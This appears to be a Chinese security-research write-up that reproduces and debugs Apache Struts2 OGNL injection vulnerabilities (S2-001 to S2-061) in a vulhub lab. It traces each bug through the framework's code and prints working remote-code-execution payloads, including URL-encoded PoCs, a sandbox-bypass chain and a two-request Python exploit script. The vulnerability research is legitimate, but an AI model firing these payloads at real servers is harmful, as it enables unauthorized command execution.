struts2漏洞復現分析合集
struts2漏洞復現合集
環境準備
tomcat安裝
漏洞程式碼取自vulhub,使用idea進行遠端除錯
struts2遠端除錯
catalina.bat jpda start 開啟debug模式,注意關閉tomcat程式
在idea中配置remote除錯,對應埠為8000.
匯入相應jar庫。
Struts2基礎
框架結構:
- 控制器:核心過濾器StrutsPrepareAndExecuteFilter、若干攔截器和Action元件實現
- 模型:有JavaBeans或JOPO實現
- 檢視
- 配置檔案:struts.xml
- Struts2標籤
工作原理
(1) 客戶端(Client)向Action發用一個請求(Request)
(2) Container通過web.xml對映請求,並獲得控制器(Controller)的名字
(3) 容器(Container)呼叫控制器(StrutsPrepareAndExecuteFilter或FilterDispatcher)。在Struts2.1以前呼叫FilterDispatcher,Struts2.1以後呼叫StrutsPrepareAndExecuteFilter
(4) 控制器(Controller)通過ActionMapper獲得Action的資訊
(5) 控制器(Controller)呼叫ActionProxy
(6) ActionProxy讀取struts.xml檔案獲取action和interceptor stack的資訊。
(7) ActionProxy把request請求傳遞給ActionInvocation
(8) ActionInvocation依次呼叫action和interceptor
(9) 根據action的配置資訊,產生result
(10) Result資訊返回給ActionInvocation
(11) 產生一個HttpServletResponse響應
(12) 產生的響應行為傳送給客服端。
動作類
某些動作需要進行邏輯處理,這些邏輯需要寫在動作類裡。
action介面:在xwork2中有一個Action介面,所有的動作類都可以實現該介面,同時必須實現該介面中的execute()方法:實現動作的邏輯。
ActionSupport類:編寫動作類,通常繼承ActionSupport類,它是Action介面的實現類,是Struts2的預設動作處理類。
OGNL表示式
OGNL稱為物件-圖導航語言,是一種簡單的、功能強大的表示式語言。使用OGNL表示式語言可以訪問儲存在ValueStack和ActionContext中的資料。
首先來介紹下OGNL的三要素:
一、表示式:
表示式(Expression)是整個OGNL的核心內容,所有的OGNL操作都是針對表示式解析後進行的。通過表示式來告訴OGNL操作到底要幹些什麼。因此,表示式其實是一個帶有語法含義的字串,整個字串將規定操作的型別和內容。OGNL表示式支援大量的表示式,如“鏈式訪問物件”、表示式計算、甚至還支援Lambda表示式。
二、Root物件:
OGNL的Root物件可以理解為OGNL的操作物件。當我們指定了一個表示式的時候,我們需要指定這個表示式針對的是哪個具體的物件。而這個具體的物件就是Root物件,這就意味著,如果有一個OGNL表示式,那麼我們需要針對Root物件來進行OGNL表示式的計算並且返回結果。
三、上下文環境:
有個Root物件和表示式,我們就可以使用OGNL進行簡單的操作了,如對Root物件的賦值與取值操作。但是,實際上在OGNL的內部,所有的操作都會在一個特定的資料環境中執行。這個資料環境就是上下文環境(Context)。OGNL的上下文環境是一個Map結構,稱之為OgnlContext。Root物件也會被新增到上下文環境當中去。
ValueStack棧
對應用程式的每一個動作,Struts在執行相應方法前會先建立一個ValueStack物件,稱為值棧,用來儲存該動作物件及其屬性,在對動作進行處理的過程中,interceptor需要訪問ValueStack,檢視也要訪問ValueStack才能顯示動作和其他資訊。
ValueStack有兩個邏輯部分組成,Struts2把動作和相關物件壓入Object Stack,把各種對映關係存入Stack Context。
OGNL表示式payload分析
#符號用於訪問非根物件屬性
ProcessBuilder與Runtime.exec()的區別?
ProcessBuilder.start() 和 Runtime.exec() 方法都被用來建立一個作業系統程序(執行命令列操作),並返回 Process 子類的一個例項,該例項可用來控制程序狀態並獲得相關資訊。
ProcessBuilder.start() 和 Runtime.exec()傳遞的引數有所不同,Runtime.exec()可接受一個單獨的字串,這個字串是通過空格來分隔可執行命令程式和引數的;也可以接受字串陣列引數。而ProcessBuilder的建構函式是一個字串列表或者陣列。列表中第一個引數是可執行命令程式,其他的是命令列執行是需要的引數。
通過檢視JDK原始碼可知,Runtime.exec最終是通過呼叫ProcessBuilder來真正執行操作的。
#a = new java.lang.ProcessBuilder("whoami").start(), //訪問a的屬性,建立一個作業系統程序(執行命令列操作),並返回 Process 子類的一個例項
#b = #a.getInputStream(),//得到一個輸入流
#c = new java.io.InputStreamReader(#b), //讀取輸入流
#d = new java.io.BufferedReader(#c), //將輸入流轉化為字串陣列
#e = new char[50000],
#d.read(#e), //讀取字串,即whoami執行結果
//回顯結果
#out = #context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),//獲取類
#out.getWriter().println(("dbapp:" + new java.lang.String(#e))), //呼叫getWriter直接在頁面上輸出
#out.getWriter().flush(),
#out.getWriter().close()
#_memberAccess["allowStaticMethodAccess"]=true,//設定為true,允許通過位址列執行方法
#[email protected]@getRuntime().exec('id').getInputStream(),
#b=new java.io.InputStreamReader(#a),
#c=new java.io.BufferedReader(#b),
#d=new char[50000],
#c.read(#d),
#[email protected]@getResponse().getWriter(),
#out.println(#d),
#out.close()
框架除錯主要流程
Struts2系列漏洞起始篇 - 京亟QAQ - 部落格園 (cnblogs.com)
首先通過web.xml確定filter,在dofilter處下斷點。
這裡時進入dofilter方法,可以看到prepare建立了不少,
wrapRequest方法,該方法根據請求型別的不同,採用不同的request包裝類
assignDispatcherToThread將當前dispatcher放入到當前本地執行緒中,
setEncodingAndLocale用於設定請求的本地化,語言以及編碼格式,
createActionContext是建立上下文,這個方法步入後會發現建立了OGNLValueStack物件,隨後將request,response等放入其中的Context屬性(map),並用該Context建立了上下文後返回。
接著就是findActionMapping 構建action的對映類。跟進一下可以發現,這是先從當前request中判斷是否action有對應的配置資訊。如果沒找到,繼續呼叫getMapping通過uri解析出對應的配置資訊,其中呼叫的方法與一些漏洞有關。
之後,prepare部分完成,進入execute部分。
綠色部分是執行靜態資源請求,藍色部分則是呼叫Action
步入後呼叫serviceAction
這裡前半部分是對valuestack的操作。
後半部分則是建立action代理,執行代理方法。
我們步入這個execute方法可以看到,這裡其實還是利用代理機制,呼叫invoke來呼叫對應方法。
這裡有一條呼叫鏈dispatcher -> StrutsActionProxy -> DefaultActionMapper,這裡 DefaultActionMapper是action例項的呼叫類。
步入invoke,首先呼叫各種interceptor對請求進行處理。
攔截器處理完之後,會呼叫invokeActionOnly,其中會通過反射機制去呼叫action的方法
接下來就是返回結果Result。Result是struts2中的重要元素,Struts2自帶多個Result型別,在struts-default.xml中可以看到。
跟進executeResult函式。
看到這裡是去獲取resultcode,並根據result進行一些處理,主要就是連線cotroller層和view層
繼續跟進execute,可以看到呼叫了conditionalParse方法,conditionalParse用於處理先前的location,也就是跳轉地址,裡面會判斷location是否有ognl表示式,有的話將會執行表示式,也是因為可能是動態返回結果。之後就是doResult。
待續。
S2-001
漏洞介紹
該漏洞因為使用者提交表單資料並且驗證失敗時,後端會將使用者之前提交的引數值使用 OGNL 表示式 %{value} 進行解析,然後重新填充到對應的表單資料中。例如註冊或登入頁面,提交失敗後端一般會預設返回之前提交的資料,由於後端使用 %{value} 對提交的資料執行了一次 OGNL 表示式解析,所以可以直接構造 Payload 進行命令執行
除錯過程
首先根據web.xml找到filter鏈
可以看到這裡只有一個filter ,進入該類,在doFilter方法處下斷點,該方法時filter的主要邏輯實現。
開始debug,輸入payload後可以發現成功進入斷點。
而後逐步除錯,可以發現後續進行了mapping對action進行了對映,mapping成功後,呼叫了serviceAction,對動作方法進行呼叫。
進入該方法,這裡建立代理,執行動作
代理執行invoke,進行方法呼叫
之後進入了interceptor,這裡會呼叫若干interceptor
關注Parametersinterceptor,接收引數
呼叫execute方法,隨後struts會呼叫具體實現類ComponentTagSupport進行標籤的解析
繼續跟進,判斷altSyntax是否開啟,如果開啟會對引數值進行重新組合,隨後呼叫addparameter
在findvalue中執行translate,解析表示式,導致ognl表示式被解析執行
步入之後會先提取出%{}內的部分,即password
之後提取password的value,即payload
這裡的迴圈將不斷解析
此處繼續解析獲取root物件時,就可以發現程式碼已執行
至此,分析完成。
總結
這個漏洞出現在對標籤的解析,這裡通過迴圈判斷是否有%{}結構來決定是否使用ognl表示式進行解析。在除錯例子中,首先將password改為%{password},而後獲取password的root屬性,即payload,如果payload中有%{},則也會進行ognl解析,造成惡意程式碼執行。
S2-007
漏洞介紹
當配置了驗證規則 <ActionName>-validation.xml
時,若型別驗證轉換出錯,後端預設會將使用者提交的表單值通過字串拼接,然後執行一次 OGNL 表示式解析並返回。
主要除錯過程
由於該漏洞在型別轉換錯誤是觸發,可以直接去尋找對應的攔截器,即ConversionErrorInterceptor
該方法中接受了非法的引數'+(1+1)',而後呼叫getOverrideExpr方法,步入檢視
可以發現這個方法作用是為引數值新增單引號。因此才需要構造'+(*)+'格式來逃逸單引號。之後fakie.put方法將map對映存入fakie中。
接著呼叫setExprOverrides方法。
該方法將overrides(包括payload)存放到stack的override中。
之後就需要關注何時取出payload。
由於也是jsp顯示payload的結果,與s2-001相似。因此找到jsp標籤解析處進行跟蹤,如圖
之後再解析age引數時步入,就會發現再tryfindValue方法中,lookupForOverrides方法會取出之前存入stack的引數,
即''+(1+1)+'',之後呼叫getValue解析此表示式,得到Value=11,達成OGNL表示式執行
至此,分析結束。
總結
這個漏洞主要時型別轉換錯誤時,會對輸入新增單引號,而後再標籤解析時使用OGNL表示式解析。此時只要構造合適的payload就可以逃逸單引號,執行OGNL表示式。
S2-012
漏洞介紹
當發生重定向時,OGNL表示式會進行二次評估,導致之前在`S2-003`、`S2-005`、`S2-009`進行的引數過濾未對重定向值進行過濾,導致了OGNL表示式的執行。
漏洞原理及除錯
先來看action程式碼
檢測name是否為空,若不為空則返回result為redirect。再來看struts.xml如果返回result為redirect則跳轉到頁面/index.jsp?name=${name},這裡在標籤解析時,會從valuestack中去取值。
來跟蹤除錯一下,這裡由於是取值,因此直接從executeResult處進行除錯。
這裡是接受result引數,conditionalParse用於處理先前的location,也就是跳轉地址,裡面會判斷location是否有ognl表示式,有的話將會執行表示式,也是因為可能是動態返回結果。
這裡取出name的值後,發現內部是個ognl表示式,就繼續解析執行了。
其實這個漏洞具體的解析流程與S2-001是一樣的,但是S2-001的補丁為什麼沒有起作用呢。
S2-001的補丁程式碼中, openchar只有一個,進行匹配時,只會執行一次while迴圈,即完成一次${}或者%{}匹配後,pos>0,導致start=-1直接跳出while迴圈。結束對payload的匹配。
而這裡redirect過來的引數中有兩個openchar,因此pos會有兩次為0.導致會對ognl表示式進行兩次解析。修復時,可以將int pos=0移出for迴圈。
S2-013
漏洞介紹
Struts2 標籤中 `<s:a>` 和 `<s:url>` 都包含一個 includeParams 屬性,其值可設定為 none,get 或 all,參考官方其對應意義如下:
1. none - 連結不包含請求的任意引數值(預設)
2. get - 連結只包含 GET 請求中的引數和其值
3. all - 連結包含 GET 和 POST 所有引數和其值
`<s:a>`用來顯示一個超連結,當`includeParams=all`的時候,會將本次請求的GET和POST引數都放在URL的GET引數上。在放置引數的過程中會將引數進行OGNL渲染,造成任意命令執行漏洞。
POC:
${(#_memberAccess["allowStaticMethodAccess"]=true,#[email protected]@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[email protected]@getResponse().getWriter(),#out.println(#d),#out.close())}
除錯
這裡有個思路:由於ognl表示式漏洞的觸發點都在getvalue處,因此可以直接在這裡設好斷點,然後再觸發漏洞時,就可以直接看到它的呼叫者。逆向推導其呼叫過程與漏洞觸發原理。
通過呼叫棧可以看出這個漏洞呼叫流程
首先對link.action做正常解析,解析完畢後對頁面jsp做標籤解析。這時發現了<s:url >標籤,並且有includeParams屬性,當includeParams=all
的時候,會將本次請求的GET和POST引數都放在URL的GET引數上。在放置引數的過程中會將引數進行OGNL渲染,造成任意命令執行漏洞。
看一下具體的引數構造點 buildParameterString。這裡正常獲取引數
之後進入 buildParameterSubString。這裡會呼叫translateAndEncode方法。
步入檢視,可以發現立即呼叫了translateVariable方法。這個方法就是解析ognl表示式的方法。幾乎所有的漏洞都是由這個方法觸發的。
這個解析的結果儲存在context中。
仔細除錯一下會發現呼叫了ASTSequence.class中的getValueBody去解析ognl表示式,儲存在context之中。
解析的呼叫鏈。
總結
這個漏洞的根本原因是在 buildParameterSubString中對引數進行了ognl解析。
之前分析的getValue直接將程式碼的執行結果儲存至result,除錯的時候方便檢視結果,這裡由於一些條件,將結果儲存到了context中,因此除錯時花了些功夫。除錯過後發現doStartTag,doEndTag都呼叫了getValue。而惡意程式碼執行在doStartTag就完成了。於是便深入除錯getValue函式。發現其在解析ognl時會呼叫AST語法樹去解構ognl表示式,即上圖的ASTSequence.class中的getValueBody。
S2-016
漏洞介紹
ST2使用action:或redirect:\redirectAction:作為字首引數來進行短路導航狀態變化,後面用來跟一個期望的導航目標表達式。一看到這兩個寫法後面跟的是表示式,一定意義上就看到了RCE的可能性。
poc
http://127.0.0.1:8080/struts2-blank/example/HelloWorld.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
除錯
通過之前的除錯基本上可以總結出來,關於ognl表示式的注入漏洞,在getValue處下斷點進行除錯即可。
以下是呼叫棧:
與前幾個漏洞不同的是,這裡並未呼叫攔截器,而是直接execute,呼叫了redirect,我們跟蹤一下看看。
在進入filter時,首先使用findActionMapping構建action的對映類。跟進一下可以發現,這是先從當前request中判斷是否action有對應的配置資訊。如果沒找到,繼續呼叫getMapping通過uri解析出對應的配置資訊,
這裡解析出mapping.result為redirect
之後會判斷result是否為空,不為空則使用result去進行execute 動作代理
跟進這個函式可以發現她直接開始對location進行解析,而location正是輸入的payload。後續過程就與S2-012一樣了,只是這裡不像S2-012需要再解開外部的%{},可以直接解析,執行ognl表示式。
總結
與之前幾個漏洞不同,這個漏洞執行了另一個分支(由於使用了redirect,而直接進入了execute),因此除錯過程也簡單不少。
S2-019
漏洞介紹
動態方法呼叫開啟了會導致安全問題
poc
http://127.0.0.1:8080/struts2-blank/example/HelloWorld.action?debug=command&expression=%23a%3D%28new%20java.lang.ProcessBuilder%28%27whoami%27%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23out%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23out.getWriter%28%29.println%28%27dbapp%3A%27%2bnew%20java.lang.String%28%23e%29%29%2C%23out.getWriter%28%29.flush%28%29%2C%23out.getWriter%28%29.close%28%29%0A
除錯
這次在以往getValue處下斷點並沒有成功斷下,換一種思路開始除錯。
可以發現其引數是debug,那麼debuggingInterceptor是否會成功攔截呢,嘗試在debuggingInterceptor中的intercept斷下斷點。可以發現成功進入斷點。
我們可以在reflectionProvider中發現我們的輸入payload。
繼續除錯,發現獲取了debug的引數值command。
接著看type=command時的程式碼
呼叫findValue時,還是會最終呼叫到getValue,至於前面為什麼在getValue沒有斷下,應該是由於多型,有多個getValue,剛好呼叫的不是下斷點的那個,以後應該在getValue最底層的程式碼處下斷點。
至此,分析完成。
總結
這個漏洞依然還是ognl表示式注入導致命令執行,只是執行路徑與之前的有一點不同,在debug模式開啟時,使用debug引數,被debuggingInterceptor攔截下來,分析其引數從而造成命令執行。
S2-032
漏洞介紹
當啟用動態方法呼叫時,可以傳遞可用於在伺服器端執行任意程式碼的惡意表示式。
method:
這個版本漏洞要求在struts.xml中將DynamicMethodInvocation設定為true才能利用成功。(低版本ST2的DynamicMethodInvocation預設為true,高版本預設為false)
poc
?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=whoami
除錯過程
看一下呼叫棧,應該是在findActionMap
就在攔截器呼叫完畢後,呼叫invokeAction,從代理處獲取method,接著使用getValue對methodName進行解析,觸發漏洞。
遇到問題
在struts2-blank.war包中無法復現
這裡是在AnnotationValidationInterceptor中產生了儲存,我們跟蹤除錯一下,發現這裡有個getActionMethod
繼續跟蹤來到Class中的getMethod方法,最終返回為空
之後發現由於是開發者模式,所以會丟擲異常,直接結束。
在showcase中可以執行命令,但會報錯,此poc有一點問題。
?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D),d&cmd=whoami
換成這個就行
?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=whoami
poc分析
簡單
#[email protected]@DEFAULT_MEMBER_ACCESS,
@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]),d//這裡使用#parameters.cmd[0]的原因是使用method:的時候ST2會去建立一個ActionProxy來執行method後面的內容,當我們把內容放到StrutsActionProxy類的建構函式中去建立代理物件的時候會對我們傳進來的表示式做一次編碼,會對‘’進行轉義,因此不用‘’使用#parameters去獲取引數
//後續的,d是為了補全這個引數中的(),否則會報錯
&cmd=/Applications/Notes.app/Contents/MacOS/Notes
複雜
#_memberAccess = @ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
#res = @org.apache.struts2.ServletActionContext@getResponse(),//獲取response物件
#res.setCharacterEncoding(#parameters.encoding[0]),//設定編碼方法
#w = #res.getWriter(),//response.getWriter()返回的是PrintWriter,這是一個列印輸出流
#s = new java.util.Scanner(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()).useDelimiter(#parameters.pp[0]),//使用Scanner類接收命令執行的結果 ,useDelimiter將分隔符改為pp的內容,即接收的內容只會被pp的值分隔。
#str = #s.hasNext()?#s.next():#parameters.ppp[0],//判斷scanner中是否有內容,然後儲存到str中
#w.print(#str),//輸出str
#w.close(),
1?#xx:#request.toString
&pp = \\A&ppp = &encoding = UTF-8&cmd = whoami
S2-045
S2-045、S2-046 - 京亟QAQ - 部落格園 (cnblogs.com)
上述連線中的除錯過程應該是2.3.5中的。本文使用的是2.5.10版本進行除錯,有些不同。
漏洞介紹
Possible Remote Code Execution when performing file upload based on Jakarta Multipart parser.
poc
POST / HTTP/1.1Host: localhost:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.8,es;q=0.6Connection: closeContent-Length: 0Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
除錯
呼叫棧
我們來看一下攔截器的程式碼,主要是對request做一些錯誤處理。
我們可以看到request中的contentType欄位。
這裡還有一個error屬性,即提示request物件沒有multipart/form-data的contentType
我們的payload主要出現在defaultMessage引數中,跟蹤這個引數。
再看後續的程式碼。
我們看到這裡對message進行了translateVariables,接著便是逐漸步入getValue方法,進行命令執行。
可以看到node.getValue執行完畢後,header裡內容就改變了。
接下來,我們去看看報錯資訊是怎麼生成的。
定位到這個RequestWrapper
可以看到這個時候parse前還沒有出現error,步入看一下。
processUpload會丟擲異常,然後,errors新增errorMessage。
總結
這次的漏洞成因是在處理錯誤資訊時呼叫了ognl表示式。
S2-057
環境部署
showcase原始碼修改後進行本地除錯執行:
http://localhost:8080/struts2_showcase_war_exploded/${111+111}/register2.action
struts-actionchain.xml改為如下程式碼,這裡使用了redirect的payload,一共有三種payload
<!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.5//EN" "http://struts.apache.org/dtds/struts-2.5.dtd"><struts> <package name="actionchaining" extends="struts-default"> <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1"> <result type="redirectAction"> <param name = "actionName">register2</param> </result> </action> </package></struts>
漏洞介紹
Struts2應用程式的配置檔案(配置檔案根據應用實際情況而不同)中如果namespace值未設定且(ActionConfiguration)中未設定或使用萬用字元的namespace時可能會導致遠端程式碼執行,同樣也可能因為配置檔案中沒有對url標籤設定value和action的值,並且沒有設定namespace或使用萬用字元的namespace也會導致遠端程式碼執行。該漏洞的攻擊點包括Redirect action、Action chaining、Postback result,這3種都屬於struts2的跳轉方式,使用者可通過這3種傳入精心構造的payload來發起攻擊。
該漏洞危害等級為嚴重,任意攻擊者可利用該漏洞執行遠端執行任意命令,造成伺服器被入侵的等安全風險。由於該漏洞萬用字元的namespace為禁用,在實際場景中存在一定侷限性。
除錯分析
以下是struts-actionchain.xml原來的內容。
<!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.5//EN" "http://struts.apache.org/dtds/struts-2.5.dtd"> <struts> <package name="actionchaining" extends="struts-default" namespace="/actionchaining"> <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1"> <result type="chain">actionChain2</result> </action> <action name="actionChain2" class="org.apache.struts2.showcase.actionchaining.ActionChain2"> <result type="chain">actionChain3</result> </action> <action name="actionChain3" class="org.apache.struts2.showcase.actionchaining.ActionChain3"> <result>/WEB-INF/actionchaining/actionChainingResult.jsp</result> </action> </package></struts>
redirect利用
經過比較可以發現存在漏洞的程式碼未設定namespace,並且使用了RedirectAction。
namespace為空意味著:只要找到一個xxx.action,沒有找到精確的對應的namespace,全部都交給namespace為空的這個package去處理,
在漏洞介紹中redirect是一種利用方法。我們來看看具體的呼叫棧。
我們看到程式在redirectResult處進入呼叫瞭解析。跟蹤看一下
可以看到這裡的namespace是/${(111+111)}
最後對location引數做了解析
我們看一下location是怎麼生成的。
這樣就清楚redirect利用的原理,struts2會對redirectResult.execute()所構造出的uri進行ognl解析。這樣的話,如果namespace設為空,則可任意構造namespace。這裡有一個疑問,如果配置檔案中的namespace就是一個ognl表示式,是否可以直接執行。
POSTBACK 利用
基本上這幾種利用方法都是解析uri,只是不同的跳轉方式對應了不同uri構造方式。
actionchain利用方式也相似。
總結:
配置檔案未定義namespace,導致我們可以自定義namespace,同時,使用一些跳轉方式跳轉到另一個action,這個過程中會對uri進行一次ognl解析。
修復:驗證所有XML配置中的namespace,同時在JSP中驗證所有url標籤的value和action。
S2-059
漏洞環境
S2 2.5.16
新增標籤
注意這裡的skillName在對應的action需要宣告,才可以作為引數傳入
在解析標籤時,會進行兩次ognl表示式解析,導致引數內容被解析,導致惡意程式碼執行。
漏洞除錯
檢視呼叫棧
可以看到在doStartTag中解析了惡意程式碼
跟蹤看一下。
主要看一下這個處理引數的populateParams()。
這個方法使用了多次super,在方法底層呼叫了setID方法。
步入
檢驗是否為expr表示式
進入到表示式的解析
第一次解析結果
在evalBody處進行第二次解析,步入
一路跟蹤到這裡,進行第二次解析,和第一次解析一樣。
到這裡基本上解析結束。
payload 分析
struts版本>=2.5.16時,需要考慮沙箱的繞過。
OGNL Apache Struts exploit: Weaponizing a sandbox bypass (CVE-2018-11776) | GitHub Security Lab
繞過原理簡述:
兩個非常重要的開發建設物件。第一個是_memberAccess,這是一個SecurityMemberAccess物件,用於控制OGNL可以做什麼,另一個是context,這是一個允許訪問更多物件的上下文對映,其中許多物件對於exploit構造非常有用。
Struts使用_memberAccess來控制OGNL中允許的內容。最初,它使用了一些布林變數(allowPrivateAccess、allowProtectedAccess、allowPackageProtectedAccess和allowStaticMethodAccess)來粗略控制OGNL如何訪問Java類的方法和成員。預設情況下,所有這些都設定為false。在以後的版本中,還有三個黑名單(excludedClasses, excludedPackageNames和excludedpackagenampatterns)用來拒絕對特定類和包的訪問。
在版本迭代過程中,任意構造方法java.lang.ProcessBuilder被禁用,allowStaticMethodAccess也不能再更改,意味著無法訪問靜態方法,最後,_memberAccess也無法訪問了,無法更改ognl的許可權。
首先先來看一下S2-045的payload是如何繞過以上限制的。
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).//首先從上下文對映中獲取Container
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). // 在container中例項化OgnlUtil類,但是這裡的OgnlUtil是單例模式,所以返回的是全域性例項。
//單例模式,這類物件只能有一個例項,提供一個全域性訪問點
(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()). //清除了限制
//這裡能夠清楚限制,是因為MemberAccess建立時,呼叫OgnlUtil的全域性例項初始化OgnlValueStack的securityMemberAccess,即MemberAccess。這意味著OgnlUtil的全域性例項共享相同的excludedClasses, excludedPackageNames並且excludedpackageNamepatterns設定為_memberAccess,因此清除這些也將清除_memberAccess中相應的Set。
(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).
//之後,OGNL可以自由訪問OgnlContext中的DEFAULT_MEMBER_ACCESS物件和setMemberAccess方法,用較弱的DEFAULT_MEMBER_ACCESS替換_memberAccess,然後執行任意程式碼
(@java.lang.Runtime@getRuntime().exec('xcalc'))
來看看如何繞過2.5.16的限制
首先,在2.5.13中刪除了對context的訪問,同樣,excludedClasses等黑名單在2.5.10之後變得不可變。
分成兩次傳送payload
第一次
(#context=#attr['struts.valueStack'].context).//由於無法直接訪問context,利用struts.valueStack的context
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))//將對應的限制設定為空,但是由於不是修改_memberAccess和ognlUtil引用的集,所以這個更改隻影響ognlUtil,而不影響_memberAccess。
第二次 //為什麼要傳送兩次。因為第一次傳送時無法更改_memberAccess的值。但是由於第二次接收請求後,createActionContext又被呼叫了一次,重新建立了_memberAccess,由於之前更改了ognlUtil,因此對應的限制ExcludedClasses和ExcludedPackageNames為空集。
(#context=#attr['struts.valueStack'].context).
(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).
(@java.lang.Runtime@getRuntime().exec('xcalc'))
單例模式
利用單例模式解決全域性訪問問題 - 文醬 - 部落格園 (cnblogs.com)
private static BluetoothSocket bluetoothSocket;//靜態私有例項
private BluetoothSocket(){} //私有構造方法
public static BluetoothSicket getBluetoothSocket(){//通過靜態方法返回
if(blueSocket == null){
bluetoothSocket = new BluetoothSokcet();
}
return bluetoothSocket;
}
import requests
url = "http://127.0.0.1:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)
S2-061
本漏洞基於S2-059,繞過了2.5.25修復的ognl表示式執行。
內含POC丨漏洞復現之S2-061(CVE-2020-17530) (360doc.com)
待更新